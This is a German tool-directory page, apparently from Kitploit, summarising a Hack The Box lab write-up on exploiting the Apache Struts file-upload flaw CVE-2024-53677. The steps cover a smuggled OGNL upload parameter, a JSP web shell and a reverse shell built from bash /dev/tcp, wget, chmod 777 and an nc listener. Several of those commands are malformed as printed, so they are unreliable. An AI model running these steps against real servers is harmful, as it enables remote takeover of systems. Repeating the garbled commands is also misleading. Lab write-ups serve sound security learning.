Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/hopsypopsy8/cve-2024-53677-exploitation
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsLernen & BildungPayload-EntwicklungLabs & Praxis
GitHubhopsypopsy8/cve-2024-53677-exploitation

CVE-2024-53677-Exploitation

Schritt-für-Schritt-Anleitung zur Ausnutzung von Apache Struts CVE-2024-53677 RCE über Datei-Upload-Manipulation, einschließlich OGNL-Injection, Payload-Einbettung und Einrichtung einer Reverse Shell.

Repository anzeigen
5vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-53677 Ausnutzung

Apache Struts RCE via Dateiupload

Beschreibung

CVE-2024-53677 ist eine Sicherheitslücke, die Apache Struts von Version 2.0.0 bis vor 6.4.0 betrifft. ⚠️ Diese wurde in einer Hack The Box Lab-Umgebung ausgenutzt.

Die Dateiupload-Logik in Apache Struts ist fehlerhaft. Ein Angreifer kann die Dateiupload-Parameter manipulieren, um einen Pfad-Traversal zu ermöglichen, und unter bestimmten Umständen kann dies zum Hochladen einer schädlichen Datei führen, die zur Ausführung von Remote Code verwendet werden kann.
🔗 Referenz: NIST NVD Entry

Aufklärung

Identifizierung eines Angriffsvektors

Bild
  1. Die Website verfügt über eine Bild-Upload-Funktion.
  2. Hochgeladene Dateien werden gespeichert unter: ip/uploads/20250213_014317/starwars.png
  3. Bei erfolgreichem Upload hat der teilbare Link des Bildes die URL ip/s/04ab2f40
Der hinzugefügte Parameter nutzt OGNL (Object-Graph Navigation Language) aus, die Apache Struts zur Verarbeitung von Eingabedaten verwendet. Der FileUploadInterceptor verarbeitet diesen Parameter, bevor das eigentliche PNG-Bild verarbeitet wird, was Angreifern ermöglicht, die Anfrage zu manipulieren und potenziell beliebigen Code auszuführen.
  • Ermittlung der Apache Struts Version
    • Eine offengelegte pom.xml zeigte Apache Struts 6.3.0.1
    • Bestätigt anfällig für CVE-2024-53677

    📸 pom.xml-Offenlegung:
    Bild

    Ausnutzung

    Modifizieren der Dateiupload-Anfrage

    Um diese Schwachstelle auszunutzen, verwenden wir BurpSuite und dessen Repeater-Funktionalität, um die Pakete vor dem Senden zu modifizieren. Nachfolgend sehen Sie eine unbearbeitete Anfrage.

    Bild

    Unser Problem ist, dass die Website Dateitypen blockt, die nicht [JPG, JPEG, PNG, GIF] sind, und alles im /uploads-Verzeichnis ist Nicht ausführbar. Um diese Probleme zu umgehen, fügen wir zunächst einen weiteren Parameter hinzu.

    Test

    Abschluss des Exploits

    Nach dem Hinzufügen des modifizierten Parameters bestätigt die Serverantwort, dass die Datei erfolgreich hochgeladen wurde. Allerdings stellen wir fest, dass sich der Dateipfad vom üblichen Upload-Verzeichnis unterscheidet.

    BitteHelfen

    Anhängen der Payload

    Als Nächstes betten wir die Payload ein, indem wir sie direkt unter den Bilddaten und vor unseren injizierten Parametern anhängen. Die Shell-Payload kann bezogen werden unter 🔗 Referenz: shell.jsp Zusätzlich ist ein entscheidendes Detail, dass die Anfrage "Upload" mit einem großen U anstelle von kleinem upload erfordert. Dies folgt der Exploit-Struktur, die beobachtet wurde in: 🔗 Referenz: exploit.py

    Mit diesen Modifikationen senden wir die Anfrage. Der Server antwortet ähnlich, bestätigt einen erfolgreichen Upload und spiegelt den angepassten Dateipfad wider.

    Navigieren des Exploits

    Durch Navigieren zur folgenden URL können wir mit unserer hochgeladenen Shell interagieren.

    root@kitploit:~
     ip/shelll.jsp?action=cmd&cmd=id 
    Endgültige Shell

    An diesem Punkt können wir eine Reverse-Shell über einen lokal gehosteten Webserver einrichten. Ein einfacher Weg dies zu erreichen, ist mit Python: python3 http.server -m 3004

    Als Nächstes erstellen Sie ein einfaches Shell-Skript (z.B. shell.sh) cat bash -i >& /dev/tcp/$IP/$PORT 0>&1 > shell.sh

    Verwenden Sie wget, um es herunterzuladen wget http://ip_address/filename -O /tmp

    Nach dem Herunterladen geben Sie Ausführungsberechtigungen chmod +777 /tmp/filename

    und verwenden Sie dann nc (netcat), um auf die Reverse-Shell zu lauschen. nc -lvnp $PORT

    Führen Sie schließlich ./filename

    Tool herunterladen